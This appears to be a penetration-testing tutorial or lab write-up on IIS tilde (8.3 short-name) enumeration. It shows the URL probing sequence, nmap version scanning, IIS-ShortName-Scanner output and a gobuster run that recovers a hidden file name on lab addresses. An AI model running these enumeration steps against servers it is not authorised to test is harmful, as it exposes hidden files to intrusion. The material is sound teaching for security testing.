IIS Tilde Enumeration

Overview

IIS tilde directory enumeration is a technique used to uncover hidden files, directories, and short file names (8.3 format) on some versions of Microsoft Internet Information Services (IIS) web servers. It exploits the way IIS manages short file names within its directories.

When a file or folder is created on an IIS server, Windows generates a short file name in the 8.3 format: eight characters for the name, a period, and three characters for the extension. These short file names can grant access to their corresponding files and folders even if those resources were intended to be hidden or inaccessible.

The tilde (~) character followed by a sequence number signifies a short file name in a URL. If the short file name for a resource can be determined, the tilde and short name can be used in the URL to access sensitive data or enumerate the directory structure further.

How the 8.3 Short Name Format Works

The file system assigns 8.3 names to disambiguate files with similar long names. The number after the tilde is an index distinguishing files that share a common prefix:

The tilde+number scheme is deterministic — the first file matching a prefix gets ~1, the second gets ~2, and so on.

Enumeration Process

The enumeration works by sending HTTP requests with progressively longer character sequences after the tilde until the server returns a non-404 response, confirming a valid short name prefix.

Step 1 — Single character:

http://example.com/~a
http://example.com/~b
http://example.com/~c
...

If ~s returns 200 OK, there is a resource with a short name beginning with s.

Step 2 — Build the prefix:

http://example.com/~se
http://example.com/~sf
...

~se returns 200 OK → prefix is se.

Step 3 — Continue until full prefix:

http://example.com/~sec → 200 OK  → "sec"
...
http://example.com/~secret → 200 OK → short name is secret~1

Step 4 — Access resources and enumerate files:

http://example.com/secret~1/somefile.txt
http://example.com/secret~1/somefi~1.txt

Step 1 — Nmap

Confirm IIS version before attempting tilde enumeration. The technique is known to work against IIS 7.5 and earlier.

nmap -p- -sV -sC --open 10.129.224.91

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5

IIS 7.5 is running on port 80 — a viable target for tilde enumeration.

Step 2 — IIS-ShortName-Scanner

IIS-ShortName-Scanner automates the character-by-character brute force. Requires Oracle Java.

java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/

When prompted for a proxy, press Enter to skip.

Example output:

# IIS Short Name (8.3) Scanner version 2023.0 - scan initiated 2023/03/23 15:06:57
Target: http://10.129.204.231/
|_ Result: Vulnerable!
|_ Used HTTP method: OPTIONS
|_ Suffix (magic part): /~1/
|_ Extra information:
  |_ Number of sent requests: 553
  |_ Identified directories: 2
    |_ ASPNET~1
    |_ UPLOAD~1
  |_ Identified files: 3
    |_ CSASPX~1.CS
      |_ Actual extension = .CS
    |_ CSASPX~1.CS??
    |_ TRANSF~1.ASP

The scanner identifies 2 directories (ASPNET~1, UPLOAD~1) and 3 files. TRANSF~1.ASP is identified but the target does not permit direct GET access — the full filename must be brute-forced.

Step 3 — Generate a Custom Wordlist

Build a wordlist of words beginning with the known prefix (transf) from the system wordlists:

egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt

Step 4 — Gobuster Enumeration

Use the custom wordlist with Gobuster to brute-force the full filename, testing both .asp and .aspx extensions:

gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp

Example output:

===============================================================
Gobuster v3.5
===============================================================
[+] Url:                     http://10.129.204.231/
[+] Extensions:              asp,aspx
===============================================================
/transfer.aspx        (Status: 200) [Size: 941]
===============================================================

Gobuster resolves the short name TRANSF~1.ASP to the full filename transfer.aspx.

Attack Summary